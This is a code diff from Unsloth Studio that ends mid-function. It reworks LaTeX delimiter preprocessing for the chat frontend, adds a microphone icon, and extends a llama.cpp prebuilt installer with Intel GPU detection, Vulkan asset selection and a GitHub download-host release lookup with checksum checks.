+ * Matches a `\[...\]` (display) or `\(...\)` (inline) LaTeX span. Non-greedy so
+ * the first closer wins; dotall so display spans can wrap lines. `(?<!\\)` on
+ * each opener leaves an escaped literal `\\[` (a real backslash then bracket)
+ * alone. The body is length-capped so an unclosed opener can't scan to
+ * end-of-input: without the cap, many unclosed `\(`/`\[` make matching O(n^2),
+ * and this runs per animation frame while streaming. Real spans are far shorter
+ * than the cap; a longer one just stays literal.
+ */
+const LATEX_DELIM_RE =
+  /(?<!\\)\\\[([\s\S]{0,4096}?)\\\]|(?<!\\)\\\(([\s\S]{0,4096}?)\\\)/g;
+
+/**
+ * Rewrite `\[...\]` -> block `$$...$$` and `\(...\)` -> inline `$...$` so
+ * remark-math can tokenize them. Bodies are trimmed: remark-math won't open an
+ * inline span on `$ ` (a `$` followed by whitespace), and display fences must
+ * sit on their own line to render as a centered block (not inline math), so
+ * `\[...\]` becomes `\n$$\n...\n$$\n`.
  *
+ * Spans inside code blocks/spans are left intact (a code sample showing `\(x\)`
+ * must not be rewritten).
+ *
+ * A space is inserted between a converted span and a following `$` so their
+ * delimiters can't fuse (`\(a\)\(b\)` -> `$a$$b$` would mis-tokenize into one
+ * broken span). A preceding currency (`$5\(x\)`) is instead broken later by the
+ * currency escape pass.
+ *
+ * Returns the rewritten text and the `[start, end)` ranges (in the rewritten
+ * string) of every span it produced, so the currency pass can skip them.
+ */
+function convertLatexDelimiters(content: string): {
+  text: string;
+  mathRegions: Array<[number, number]>;
+} {
+  if (!content.includes("\\[") && !content.includes("\\(")) {
+    return { text: content, mathRegions: [] };
+  }
+
+  const codeRegions = findCodeBlockRegions(content);
+  const linkRegions = findLinkDestinationRegions(content);
+  const inSkipZone = (pos: number) =>
+    isInRegion(pos, codeRegions) || isInRegion(pos, linkRegions);
+  // Pushed in ascending, non-overlapping order (offset only grows), so this
+  // stays valid for isInRegion's binary search without a sort.
+  const mathRegions: Array<[number, number]> = [];
+  // Accumulate into an array, not a string: reading the last char off a growing
+  // `+=` accumulator flattens its rope every append (O(n^2) over many spans, on
+  // the per-frame streaming path), so track the tail char and length instead.
+  const parts: string[] = [];
+  let offset = 0;
+  let lastChar = "";
+  let last = 0;
+  // Append a chunk, separating a trailing `$` from a leading `$` so two spans
+  // can't fuse. Returns where the chunk landed (after any inserted space).
+  const append = (chunk: string): number => {
+    if (!chunk) return offset;
+    if (lastChar === "$" && chunk.startsWith("$")) {
+      parts.push(" ");
+      offset += 1;
+    }
+    const start = offset;
+    parts.push(chunk);
+    offset += chunk.length;
+    lastChar = chunk[chunk.length - 1];
+    return start;
+  };
+  let match: RegExpExecArray | null;
+  LATEX_DELIM_RE.lastIndex = 0;
+  while ((match = LATEX_DELIM_RE.exec(content)) !== null) {
+    const matchEnd = match.index + match[0].length;
+    // Skip if either delimiter is inside code or a link destination: an opener
+    // outside such a zone must not consume a closer inside one and rewrite
+    // across the boundary. Resume right after this opener (not past the whole
+    // match) so a valid span that this match spanned across (a stray code `\(`
+    // paired with a real closer) is still found on the next pass, not swallowed.
+    if (inSkipZone(match.index) || inSkipZone(matchEnd - 1)) {
+      LATEX_DELIM_RE.lastIndex = match.index + 1;
+      continue;
+    }
+    const isDisplay = match[1] !== undefined;
+    const body = (isDisplay ? match[1] : match[2]).trim();
+    // Leave an empty span (`\(\)`) literal; a bare `$$` would open a stray
+    // display block that swallows following text.
+    if (!body) {
+      continue;
+    }
+    append(content.slice(last, match.index));
+    let wrapped: string;
+    if (isDisplay) {
+      // Keep the opener's leading indentation so a `$$` block inside a list item
+      // stays in the container instead of breaking out at column 0. Only when the
+      // opener is whitespace-prefixed, so inline `text \[x\]` keeps column 0.
+      const lineStart =
+        match.index > 0 ? content.lastIndexOf("\n", match.index - 1) + 1 : 0;
+      const prefix = content.slice(lineStart, match.index);
+      const indent = /^\s*$/.test(prefix) ? prefix : "";
+      // Indent every body line, not just the first, so multi-line display math
+      // (`\[a\nb\]`) stays wholly inside the container.
+      const inner = indent ? body.replace(/\n/g, `\n${indent}`) : body;
+      wrapped = `\n${indent}$$\n${indent}${inner}\n${indent}$$\n`;
+    } else {
+      wrapped = `$${body}$`;
+    }
+    const start = append(wrapped);
+    mathRegions.push([start, offset]);
+    last = matchEnd;
+  }
+  append(content.slice(last));
+  return { text: parts.join(""), mathRegions };
+}
+
+/**
+ * Preprocess a markdown string so LaTeX renders: convert bracket delimiters to
+ * dollar forms, then escape currency dollar signs so they are not parsed as
+ * math delimiters.
+ *
+ * - `\[E = mc^2\]` becomes a `$$` display block on its own lines (display math)
+ * - `\(\alpha\)` becomes `$\alpha$` (inline math)
+ * - `\(x\)` in a code span is untouched
  * - `$5` alone becomes `\$5` (currency, not math)
  * - `$\alpha$` is untouched (real LaTeX)
  * - `$30^\circ$` is untouched (LaTeX whose body starts with a digit)
@@ -185,15 +341,22 @@ function hasInlineMathCloser(content: string, offset: number): boolean {
  * - Currency inside code blocks/spans is untouched
  */
 export function preprocessLaTeX(content: string): string {
-  if (!content.includes("$")) return content;
+  const { text, mathRegions } = convertLatexDelimiters(content);
 
-  const codeRegions = findCodeBlockRegions(content);
+  if (!text.includes("$")) return text;
 
-  return content.replace(CURRENCY_REGEX, (match, offset) => {
-    if (isInCodeBlock(offset, codeRegions)) {
+  const codeRegions = findCodeBlockRegions(text);
+
+  return text.replace(CURRENCY_REGEX, (match, offset) => {
+    if (isInRegion(offset, codeRegions)) {
       return match;
     }
-    if (hasInlineMathCloser(content, offset)) {
+    // Skip the spans we just created from `\(...\)` so a numeric body like
+    // `$5$` isn't re-escaped back to literal `\$5$`.
+    if (isInRegion(offset, mathRegions)) {
+      return match;
+    }
+    if (hasInlineMathCloser(text, offset, mathRegions)) {
       return match;
     }
     return "\\" + match;
diff --git a/studio/frontend/src/lib/mic-icon.tsx b/studio/frontend/src/lib/mic-icon.tsx
new file mode 100644
index 0000000000..9ff6817845
--- /dev/null
+++ b/studio/frontend/src/lib/mic-icon.tsx
@@ -0,0 +1,17 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import type { FC } from "react";
+
+/** Microphone icon used by the chat composer and the Voice settings tab. */
+export const MicIcon: FC<{ className?: string }> = ({ className }) => (
+  <svg
+    className={className}
+    viewBox="0 0 256 256"
+    fill="currentColor"
+    xmlns="http://www.w3.org/2000/svg"
+    aria-hidden={true}
+  >
+    <path d="M128,176a48.05,48.05,0,0,0,48-48V64a48,48,0,0,0-96,0v64A48.05,48.05,0,0,0,128,176ZM96,64a32,32,0,0,1,64,0v64a32,32,0,0,1-64,0Zm40,143.6V232a8,8,0,0,1-16,0V207.6A80.11,80.11,0,0,1,48,128a8,8,0,0,1,16,0,64,64,0,0,0,128,0,8,8,0,0,1,16,0A80.11,80.11,0,0,1,136,207.6Z" />
+  </svg>
+);
diff --git a/studio/frontend/src/main.tsx b/studio/frontend/src/main.tsx
index 0922e764bb..d0ddf2fc6e 100644
--- a/studio/frontend/src/main.tsx
+++ b/studio/frontend/src/main.tsx
@@ -5,8 +5,8 @@ import { StrictMode } from "react";
 import { createRoot } from "react-dom/client";
 
 import "./index.css";
-import { fetchDeviceType } from "./config/env";
 import { App } from "./app/app";
+import { fetchDeviceType } from "./config/env";
 import { initializeLocale } from "./i18n";
 
 const globalCrypto = globalThis.crypto as Crypto | undefined;
@@ -36,10 +36,10 @@ if (!rootElement) {
 
 initializeLocale();
 
-fetchDeviceType().then(() => {
-  createRoot(rootElement).render(
-    <StrictMode>
-      <App />
-    </StrictMode>,
-  );
-});
+createRoot(rootElement).render(
+  <StrictMode>
+    <App />
+  </StrictMode>,
+);
+
+fetchDeviceType().catch(() => undefined);
diff --git a/studio/install_llama_prebuilt.py b/studio/install_llama_prebuilt.py
index e40cb3083e..cca8886777 100644
--- a/studio/install_llama_prebuilt.py
+++ b/studio/install_llama_prebuilt.py
@@ -10,6 +10,7 @@ import argparse
 import atexit
 import errno
 import fnmatch
+import glob
 import hashlib
 import json
 import os
@@ -19,6 +20,7 @@ import re
 import shutil
 import site
 import socket
+import stat
 import struct
 import subprocess
 import sys
@@ -165,9 +167,9 @@ def env_int(
 # errors. Only use "master" temporarily when the latest release is missing
 # support for a new model architecture.
 DEFAULT_LLAMA_TAG = os.environ.get("UNSLOTH_LLAMA_TAG", "latest")
-# Default published repo for prebuilt release resolution. Linux uses
-# Unsloth prebuilts; setup.sh/setup.ps1 pass --published-repo explicitly
-# for macOS/Windows to override with ggml-org/llama.cpp when needed.
+# Default published repo for prebuilt release resolution. Every host plans
+# its prebuilt against the Unsloth fork; setup.sh/setup.ps1 pass it via
+# --published-repo. ggml-org is reachable only via an explicit override.
 DEFAULT_PUBLISHED_REPO = "unslothai/llama.cpp"
 DEFAULT_PUBLISHED_TAG = os.environ.get("UNSLOTH_LLAMA_RELEASE_TAG")
 DEFAULT_PUBLISHED_MANIFEST_ASSET = os.environ.get(
@@ -265,6 +267,7 @@ class HostInfo:
     has_physical_nvidia: bool
     has_usable_nvidia: bool
     has_rocm: bool = False
+    has_intel_gpu: bool = False
     rocm_gfx_target: str | None = None
     # (major, minor) from platform.mac_ver(); None off macOS or if unparseable.
     # Skips a macos prebuilt whose minimum-OS exceeds this host.
@@ -1284,162 +1287,6 @@ def synthetic_checksums_for_release(
     )
 
 
-def parse_direct_linux_release_bundle(
-    repo: str, release: dict[str, Any]
-) -> PublishedReleaseBundle | None:
-    release_tag = release.get("tag_name")
-    if not isinstance(release_tag, str) or not release_tag:
-        return None
-
-    assets = release_asset_map(release)
-    artifacts: list[PublishedLlamaArtifact] = []
-    inferred_labels: list[str] = []
-
-    linux_asset_re = re.compile(
-        r"^app-(?P<label>.+)-(?P<target>linux-x64(?:-cpu)?|linux-x64-cuda\d+-(?:older|newer|portable))\.tar\.gz$"
-    )
-    for asset_name in sorted(assets):
-        match = linux_asset_re.fullmatch(asset_name)
-        if not match:
-            continue
-        inferred_labels.append(match.group("label"))
-        target = match.group("target")
-        if target in {"linux-x64", "linux-x64-cpu"}:
-            artifacts.append(
-                PublishedLlamaArtifact(
-                    asset_name = asset_name,
-                    install_kind = "linux-cpu",
-                    runtime_line = None,
-                    coverage_class = None,
-                    supported_sms = [],
-                    min_sm = None,
-                    max_sm = None,
-                    bundle_profile = None,
-                    rank = 1000,
-                )
-            )
-            continue
-
-        bundle_profile = target.removeprefix("linux-x64-")
-        profile = _resolve_linux_bundle_profile(bundle_profile)
-        if profile is None:
-            continue
-        artifacts.append(
-            PublishedLlamaArtifact(
-                asset_name = asset_name,
-                install_kind = "linux-cuda",
-                runtime_line = str(profile["runtime_line"]),
-                coverage_class = str(profile["coverage_class"]),
-                supported_sms = [str(value) for value in profile["supported_sms"]],
-                min_sm = int(profile["min_sm"]),
-                max_sm = int(profile["max_sm"]),
-                bundle_profile = bundle_profile,
-                rank = int(profile["rank"]),
-            )
-        )
-
-    if not artifacts:
-        return None
-
-    upstream_tag = (
-        release_tag
-        if is_release_tag_like(release_tag)
-        else inferred_labels[0]
-        if len(set(inferred_labels)) == 1 and inferred_labels
-        else release_tag
-    )
-    selection_log = [
-        f"published_release: repo={repo}",
-        f"published_release: tag={release_tag}",
-        f"published_release: upstream_tag={upstream_tag}",
-        "published_release: direct_asset_scan=linux",
-    ]
-    return PublishedReleaseBundle(
-        repo = repo,
-        release_tag = release_tag,
-        upstream_tag = upstream_tag,
-        assets = assets,
-        manifest_asset_name = DEFAULT_PUBLISHED_MANIFEST_ASSET,
-        artifacts = artifacts,
-        selection_log = selection_log,
-    )
-
-
-def direct_linux_release_plan(
-    release: dict[str, Any], host: HostInfo, repo: str, requested_tag: str
-) -> InstallReleasePlan | None:
-    bundle = parse_direct_linux_release_bundle(repo, release)
-    if bundle is None:
-        return None
-    if not direct_release_matches_request(
-        release_tag = bundle.release_tag,
-        llama_tag = bundle.upstream_tag,
-        requested_tag = requested_tag,
-    ):
-        return None
-
-    attempts: list[AssetChoice] = []
-    if host.has_usable_nvidia:
-        # Prefer the cudart major Studio loads at runtime (torch's bundled
-        # libcudart), not the newest on disk. Otherwise a stray cuda13
-        # runtime outranks the torch cuda12 the binary links against.
-        torch_preference = detect_torch_cuda_runtime_preference(host)
-        selection = linux_cuda_choice_from_release(
-            host,
-            bundle,
-            preferred_runtime_line = torch_preference.runtime_line,
-            selection_preamble = torch_preference.selection_log,
-        )
-        if selection is not None:
-            attempts.extend(selection.attempts)
-    elif not host.has_rocm:
-        # A ROCm-only host gets no CPU asset: leaving attempts empty lets the
-        # raise below trigger a HIP source build instead of shipping a CPU
-        # binary on a GPU host (this ggml-org path has no per-gfx ROCm asset).
-        cpu_choice = published_asset_choice_for_kind(bundle, "linux-cpu")
-        if cpu_choice is not None:
-            attempts.append(cpu_choice)
-    # NVIDIA hosts whose CUDA selection produced nothing fall through to the
-    # raise below (mirroring the ROCm policy above): the caller then walks
-    # back to an older release that still ships a usable CUDA line instead of
-    # silently installing a CPU binary on a GPU host. Today's walk-back only
-    # works because partial releases ship no CPU bundle; this keeps it working
-    # if a future partial release does.
-    if not attempts:
-        raise PrebuiltFallback("no compatible Linux prebuilt asset was found")
-    approved_checksums = synthetic_checksums_for_release(
-        repo,
-        bundle.release_tag,
-        bundle.upstream_tag,
-    )
-    resolved_upstream_tag = bundle.upstream_tag
-    if DEFAULT_PUBLISHED_SHA256_ASSET in bundle.assets and not is_release_tag_like(
-        bundle.upstream_tag
-    ):
-        approved_checksums = load_approved_release_checksums(repo, bundle.release_tag)
-        # Require exact source provenance for branch/pull/commit releases.
-        # Mirrors validated_checksums_for_bundle so incomplete metadata fails
-        # closed instead of degrading to the legacy branch-as-tag source
-        # hydration path this PR eliminates.
-        if (
-            not approved_checksums.source_commit
-            or exact_source_archive_hash(approved_checksums) is None
-            or source_clone_url_from_checksums(approved_checksums) is None
-        ):
-            raise PrebuiltFallback(
-                f"approved checksum asset {DEFAULT_PUBLISHED_SHA256_ASSET} for "
-                f"{repo}@{bundle.release_tag} did not contain exact source provenance"
-            )
-        attempts = apply_approved_hashes(attempts, approved_checksums)
-    return InstallReleasePlan(
-        requested_tag = requested_tag,
-        llama_tag = resolved_upstream_tag,
-        release_tag = bundle.release_tag,
-        attempts = attempts,
-        approved_checksums = approved_checksums,
-    )
-
-
 def direct_upstream_release_plan(
     release: dict[str, Any], host: HostInfo, repo: str, requested_tag: str
 ) -> InstallReleasePlan | None:
@@ -1482,6 +1329,24 @@ def direct_upstream_release_plan(
                         install_kind = "windows-hip",
                     )
                 )
+        # Intel (or other non-NVIDIA/non-AMD) GPU: use the Vulkan prebuilt. Gate
+        # on no PHYSICAL NVIDIA (not just no usable one): a host that hid NVIDIA
+        # via CUDA_VISIBLE_DEVICES must not reach Vulkan, which ignores that mask
+        # and could enumerate the reserved card. Falls through to CPU below.
+        elif host.has_intel_gpu and not host.has_physical_nvidia:
+            vulkan_asset = f"llama-{release_tag}-bin-win-vulkan-x64.zip"
+            vulkan_url = assets.get(vulkan_asset)
+            if vulkan_url:
+                attempts.append(
+                    AssetChoice(
+                        repo = repo,
+                        tag = release_tag,
+                        name = vulkan_asset,
+                        url = vulkan_url,
+                        source_label = "upstream",
+                        install_kind = "windows-vulkan",
+                    )
+                )
         cpu_asset = f"llama-{release_tag}-bin-win-cpu-x64.zip"
         cpu_url = assets.get(cpu_asset)
         if cpu_url:
@@ -1545,6 +1410,23 @@ def direct_upstream_release_plan(
         # ROCm hosts are excluded: this ggml-org path ships no per-gfx ROCm
         # asset, so they fall through to the empty-attempts raise (HIP source
         # build) rather than silently getting a CPU binary on a GPU host.
+        # Intel (or other non-NVIDIA/non-AMD) GPU: use the Vulkan prebuilt. The
+        # elif already excludes usable NVIDIA and ROCm; also require no PHYSICAL
+        # NVIDIA so a CUDA-hidden card isn't reached through Vulkan (CPU below).
+        if host.has_intel_gpu and not host.has_physical_nvidia:
+            vulkan_asset = f"llama-{release_tag}-bin-ubuntu-vulkan-x64.tar.gz"
+            vulkan_url = assets.get(vulkan_asset)
+            if vulkan_url:
+                attempts.append(
+                    AssetChoice(
+                        repo = repo,
+                        tag = release_tag,
+                        name = vulkan_asset,
+                        url = vulkan_url,
+                        source_label = "upstream",
+                        install_kind = "linux-vulkan",
+                    )
+                )
         asset_name = f"llama-{release_tag}-bin-ubuntu-x64.tar.gz"
         asset_url = assets.get(asset_name)
         if asset_url:
@@ -1564,6 +1446,23 @@ def direct_upstream_release_plan(
         # selector returned 0 attempts and the installer fell back to a
         # source build on every Linux ARM64 host (DGX Spark, Ampere
         # Altra, GitHub-hosted ubuntu-24.04-arm runners, etc.).
+        # Intel (or other non-NVIDIA/non-AMD) GPU: prefer the Vulkan prebuilt,
+        # mirroring the x86_64 branch. Upstream ships bin-ubuntu-vulkan-arm64.
+        # No physical NVIDIA: don't reach a CUDA-hidden card through Vulkan.
+        if host.has_intel_gpu and not host.has_physical_nvidia and not host.has_rocm:
+            vulkan_asset = f"llama-{release_tag}-bin-ubuntu-vulkan-arm64.tar.gz"
+            vulkan_url = assets.get(vulkan_asset)
+            if vulkan_url:
+                attempts.append(
+                    AssetChoice(
+                        repo = repo,
+                        tag = release_tag,
+                        name = vulkan_asset,
+                        url = vulkan_url,
+                        source_label = "upstream",
+                        install_kind = "linux-vulkan",
+                    )
+                )
         asset_name = f"llama-{release_tag}-bin-ubuntu-arm64.tar.gz"
         asset_url = assets.get(asset_name)
         if asset_url:
@@ -2457,10 +2356,9 @@ def pinned_published_release_bundle(
     return bundle
 
 
-def validated_checksums_for_bundle(
-    repo: str, bundle: PublishedReleaseBundle
+def _validate_checksums_against_bundle(
+    repo: str, bundle: PublishedReleaseBundle, checksums: ApprovedReleaseChecksums
 ) -> ApprovedReleaseChecksums:
-    checksums = load_approved_release_checksums(repo, bundle.release_tag)
     manifest_hash = checksums.artifacts.get(bundle.manifest_asset_name)
     if manifest_hash is not None and bundle.manifest_sha256 is not None:
         if manifest_hash.sha256 != bundle.manifest_sha256:
@@ -2484,6 +2382,129 @@ def validated_checksums_for_bundle(
     return checksums
 
 
+def validated_checksums_for_bundle(
+    repo: str, bundle: PublishedReleaseBundle
+) -> ApprovedReleaseChecksums:
+    checksums = load_approved_release_checksums(repo, bundle.release_tag)
+    return _validate_checksums_against_bundle(repo, bundle, checksums)
+
+
+def _download_host_resolve_enabled() -> bool:
+    """Escape hatch to force the legacy GitHub API path instead of the
+    download-host fast path (which avoids the api.github.com rate limit)."""
+    return os.environ.get(
+        "UNSLOTH_LLAMA_DISABLE_DOWNLOAD_HOST_RESOLVE", ""
+    ).strip().lower() not in {"1", "true", "yes", "on"}
+
+
+def _release_asset_download_url(repo: str, tag: str, asset_name: str) -> str:
+    """Tag-pinned asset URL on the release-assets CDN (not api.github.com, so no
+    rate limit)."""
+    return (
+        f"https://github.com/{urllib.parse.quote(repo, safe = '/')}/releases/download/"
+        f"{urllib.parse.quote(tag, safe = '')}/"
+        f"{urllib.parse.quote(asset_name, safe = '')}"
+    )
+
+
+def _download_host_latest_release_tag(repo: str) -> str | None:
+    """Authoritative latest tag from GitHub's /releases/latest redirect target
+    (github.com, no api.github.com rate limit); the fast path pins URLs to it rather
+    than the checksum asset's self-reported release_tag. /releases/latest resolves by
+    created_at/make_latest, which can lag the published_at newest the freshness
+    detection uses. None on 404 so the caller falls back to the API."""
+    url = f"https://github.com/{urllib.parse.quote(repo, safe = '/')}/releases/latest"
+    request = urllib.request.Request(
+        url,
+        method = "HEAD",
+        headers = {"User-Agent": "unsloth-studio-llama-prebuilt"},
+    )
+    try:
+        with _URL_OPENER.open(request, timeout = 30) as response:
+            final_url = response.geturl()
+    except urllib.error.HTTPError as exc:
+        if exc.code == 404:
+            return None
+        raise
+    marker = "/releases/tag/"
+    index = final_url.find(marker)
+    if index == -1:
+        return None
+    tag = urllib.parse.unquote(final_url[index + len(marker) :]).strip("/")
+    return tag or None
+
+
+def _fetch_download_host_json(url: str) -> Any:
+    # Public CDN asset: plain unauthenticated GET, not the rate-limited API.
+    data = download_bytes(
+        url,
+        timeout = 30,
+        headers = {"User-Agent": "unsloth-studio-llama-prebuilt"},
+    )
+    return json.loads(data.decode("utf-8"))
+
+
+def _download_host_resolved_release(repo: str) -> ResolvedPublishedRelease | None:
+    """Resolve the latest fork release from the download host with zero
+    api.github.com calls, reusing the API path's parsing and validation. The latest
+    tag is the authoritative /releases/latest redirect tag, and the checksum asset's
+    self-reported release_tag is cross-checked against it. Returns None (caller falls
+    back to the API) on a missing JSON asset or a tag mismatch."""
+    release_tag = _download_host_latest_release_tag(repo)
+    if not release_tag:
+        return None
+    sha_url = _release_asset_download_url(repo, release_tag, DEFAULT_PUBLISHED_SHA256_ASSET)
+    try:
+        sha_payload = _fetch_download_host_json(sha_url)
+    except urllib.error.HTTPError as exc:
+        if exc.code == 404:
+            return None
+        raise
+    if not isinstance(sha_payload, dict):
+        return None
+    # Cross-check the asset's self-reported release_tag against the authoritative
+    # redirect tag: parse_approved_release_checksums raises on a mismatch.
+    checksums = parse_approved_release_checksums(repo, release_tag, sha_payload)
+    # Synthesize the API release payload with tag-pinned CDN URLs for every named
+    # asset; parse_published_release_bundle then reads the manifest, still no API.
+    asset_names = set(checksums.artifacts) | {
+        DEFAULT_PUBLISHED_MANIFEST_ASSET,
+        DEFAULT_PUBLISHED_SHA256_ASSET,
+    }
+    synthetic_release: dict[str, Any] = {
+        "tag_name": release_tag,
+        "draft": False,
+        "prerelease": False,
+        "assets": [
+            {
+                "name": name,
+                "browser_download_url": _release_asset_download_url(repo, release_tag, name),
+            }
+            for name in sorted(asset_names)
+        ],
+    }
+    try:
+        bundle = parse_published_release_bundle(repo, synthetic_release)
+    except urllib.error.HTTPError as exc:
+        # In-progress release: the checksum asset can land before the manifest;
+        # treat a manifest 404 like the sha256 404 above and fall back to the API.
+        if exc.code == 404:
+            return None
+        raise
+    if bundle is None:
+        return None
+    # A manifest artifact can be keyed in the checksum JSON under an upstream-tag
+    # alias, so add a tag-pinned URL for any manifest artifact missing above (the
+    # API path gets these from the real asset list); sha256 is still verified.
+    for artifact in bundle.artifacts:
+        bundle.assets.setdefault(
+            artifact.asset_name,
+            _release_asset_download_url(repo, release_tag, artifact.asset_name),
+        )
+    _validate_checksums_against_bundle(repo, bundle, checksums)
+    return ResolvedPublishedRelease(bundle = bundle, checksums = checksums)
+
+
 def published_release_matches_request(bundle: PublishedReleaseBundle, requested_ref: str) -> bool:
     if requested_ref == "latest":
         return True
@@ -2550,6 +2571,8 @@ def iter_resolved_published_releases(
     requested_tag: str | None,
     published_repo: str,
     published_release_tag: str = "",
+    *,
+    allow_download_host_fast_path: bool = True,
 ) -> Iterable[ResolvedPublishedRelease]:
     repo = published_repo or DEFAULT_PUBLISHED_REPO
     normalized_requested = normalized_requested_llama_tag(requested_tag)
@@ -2568,6 +2591,29 @@ def iter_resolved_published_releases(
         )
         return
 
+    # Fast path: resolve the fork's latest release from the download host (no
+    # api.github.com rate limit). It surfaces only the single latest release, so the
+    # caller disables it when the multi-release walk-back is needed (macOS skipping
+    # too-new prebuilts); a broken latest then drops to source build, not an older
+    # release. Any rejection/network error is non-fatal and falls through to the API.
+    if (
+        allow_download_host_fast_path
+        and repo == DEFAULT_PUBLISHED_REPO
+        and normalized_requested == "latest"
+        and _download_host_resolve_enabled()
+    ):
+        try:
+            resolved = _download_host_resolved_release(repo)
+        except PrebuiltFallback as exc:
+            log(f"download-host latest release rejected for {repo} ({exc}); trying GitHub API")
+            resolved = None
+        except Exception as exc:
+            log(f"download-host latest resolve unavailable for {repo} ({exc}); trying GitHub API")
+            resolved = None
+        if resolved is not None:
+            yield resolved
+            return
+
     matched_any = False
     skipped_invalid = 0
     yielded_valid = False
@@ -2864,6 +2910,64 @@ def _pick_rocm_gfx_target(out: str) -> str | None:
     return _tokens[0]
 
 
+# Display-adapter device class: one NNNN subkey per installed display driver
+# config, each carrying the driver's DriverDesc and PCI MatchingDeviceId.
+_WINDOWS_DISPLAY_CLASS_KEY = (
+    r"SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}"
+)
+
+
+def windows_intel_gpu_in_registry() -> bool:
+    """Whether the Windows registry lists an Intel display adapter.
+
+    In-process Windows counterpart of the Linux DRM vendor-id check (0x8086),
+    with weaker semantics: the class key lists installed display-driver
+    configs, which can outlive removed hardware, where sysfs lists present
+    devices. A stale Intel entry at worst routes to the upstream Vulkan
+    prebuilt instead of the fork CPU bundle: inference still works (the
+    Vulkan build runs on CPU when no Vulkan device exists), at the cost of
+    fork-only extras such as the DiffusionGemma visual server. detect_host's
+    PowerShell + WMI probe can silently miss a real Intel GPU: a cold
+    powershell.exe start plus the first CIM query routinely exceeds the 15s
+    budget on hosts with slow AV scanning or a degraded WMI repository, and
+    the probe swallows the timeout (#4452, Arc A770 routed to the CPU
+    prebuilt). Reading the display-adapter class key needs no subprocess and
+    answers in microseconds. Matches the PCI vendor id in MatchingDeviceId
+    (ven_8086) or an Intel DriverDesc.
+    """
+    try:
+        import winreg
+    except ImportError:
+        return False
+    try:
+        with winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, _WINDOWS_DISPLAY_CLASS_KEY) as class_key:
+            for index in range(winreg.QueryInfoKey(class_key)[0]):
+                try:
+                    name = winreg.EnumKey(class_key, index)
+                    if not name.isdigit():
+                        # "Properties" is ACL-restricted and not an adapter.
+                        continue
+                    with winreg.OpenKey(class_key, name) as adapter_key:
+                        for value_name, needle in (
+                            ("MatchingDeviceId", "ven_8086"),
+                            ("DriverDesc", "intel"),
+                        ):
+                            try:
+                                value, _ = winreg.QueryValueEx(adapter_key, value_name)
+                            except OSError:
+                                continue
+                            if needle in str(value).lower():
+                                return True
+                except OSError:
+                    continue
+    except Exception:
+        # Advisory probe: any unexpected failure must degrade to the CIM
+        # fallback, never crash the installer (mirrors detect_host's own
+        # swallow around the CIM probe).
+        return False
+    return False
+
+
 def detect_host() -> HostInfo:
     system = platform.system()
     machine = platform.machine().lower()
@@ -3075,6 +3179,46 @@ def detect_host() -> HostInfo:
         # Note: amdhip64.dll presence alone is NOT treated as GPU evidence
         # since the HIP SDK can be installed without an AMD GPU.
 
+    # Detect an Intel GPU; gates the Vulkan prebuilt. Linux reads the DRM sysfs
+    # vendor id (0x8086); Windows reads the display-adapter registry class,
+    # then falls back to the WMI video controller list. Only probed with no
+    # usable NVIDIA and no ROCm (matching the Vulkan branches), keeping the
+    # probe (notably the Windows powershell call) off that path.
+    has_intel_gpu = False
+    if not has_usable_nvidia and not has_rocm:
+        if is_linux:
+            for _vendor_file in glob.glob("/sys/class/drm/card*/device/vendor"):
+                try:
+                    with open(_vendor_file) as _vf:
+                        if _vf.read().strip().lower() == "0x8086":
+                            has_intel_gpu = True
+                            break
+                except OSError:
+                    continue
+        elif is_windows:
+            # Registry first (in-process; see windows_intel_gpu_in_registry).
+            # The CIM query stays as the fallback when the registry shows no
+            # Intel adapter.
+            has_intel_gpu = windows_intel_gpu_in_registry()
+            if not has_intel_gpu:
+                _ps = shutil.which("powershell") or shutil.which("pwsh")
+                if _ps:
+                    try:
+                        _result = run_capture(
+                            [
+                                _ps,
+                                "-NoProfile",
+                                "-Command",
+                                "Get-CimInstance Win32_VideoController | "
+                                "Select-Object -ExpandProperty Name",
+                            ],
+                            timeout = 15,
+                        )
+                        if _result.returncode == 0 and "intel" in _result.stdout.lower():
+                            has_intel_gpu = True
+                    except Exception:
+                        pass
+
     return HostInfo(
         system = system,
         machine = machine,
@@ -3090,6 +3234,7 @@ def detect_host() -> HostInfo:
         has_physical_nvidia = has_physical_nvidia,
         has_usable_nvidia = has_usable_nvidia,
         has_rocm = has_rocm,
+        has_intel_gpu = has_intel_gpu,
         rocm_gfx_target = rocm_gfx_target,
         macos_version = macos_version,
     )
@@ -3126,6 +3271,7 @@ def _apply_host_overrides(
             has_physical_nvidia = False,
             has_rocm = False,
             rocm_gfx_target = None,
+            has_intel_gpu = False,
         )
     gfx = _normalize_forwarded_gfx(override_rocm_gfx)
     if gfx:
@@ -3135,21 +3281,6 @@ def _apply_host_overrides(
     return host
 
 
-def published_repo_for_host(host: HostInfo, *, linux_amd_tooling_present: bool = False) -> str:
-    """The release repo setup.sh / setup.ps1 pick for this host: macOS always the
-    fork (ggml-org macOS bundles need too-new macOS); else CPU-only Linux/Windows
-    -> ggml-org upstream (the fork ships no CPU bundle) and any usable GPU (NVIDIA
-    or ROCm) -> the fork. linux_amd_tooling_present mirrors setup.sh routing Linux
-    hosts that expose AMD tooling (rocminfo/amd-smi/hipconfig/hipinfo) to the fork
-    even when the probe cannot confirm an active GPU. Mirrors the shell routing."""
-    if host.is_macos:
-        return DEFAULT_PUBLISHED_REPO
-    has_gpu = (
-        host.has_usable_nvidia or host.has_rocm or (host.is_linux and linux_amd_tooling_present)
-    )
-    return DEFAULT_PUBLISHED_REPO if has_gpu else UPSTREAM_REPO
-
-
 def pick_windows_cuda_runtime(host: HostInfo) -> str | None:
     if not host.driver_cuda_version:
         return None
@@ -3881,6 +4012,23 @@ def resolve_upstream_asset_choice(host: HostInfo, llama_tag: str) -> AssetChoice
                 "falling back to source build with HIP support"
             )
 
+        # Intel (or other non-NVIDIA/non-AMD) GPU: use the Vulkan prebuilt. No
+        # physical NVIDIA (not just no usable one): a CUDA-hidden card must not
+        # be reached through Vulkan, which ignores CUDA_VISIBLE_DEVICES.
+        if host.has_intel_gpu and not host.has_physical_nvidia and not host.has_rocm:
+            vulkan_name = f"llama-{llama_tag}-bin-ubuntu-vulkan-x64.tar.gz"
+            if vulkan_name in upstream_assets:
+                log(f"Intel GPU detected -- using upstream Vulkan prebuilt {vulkan_name}")
+                return AssetChoice(
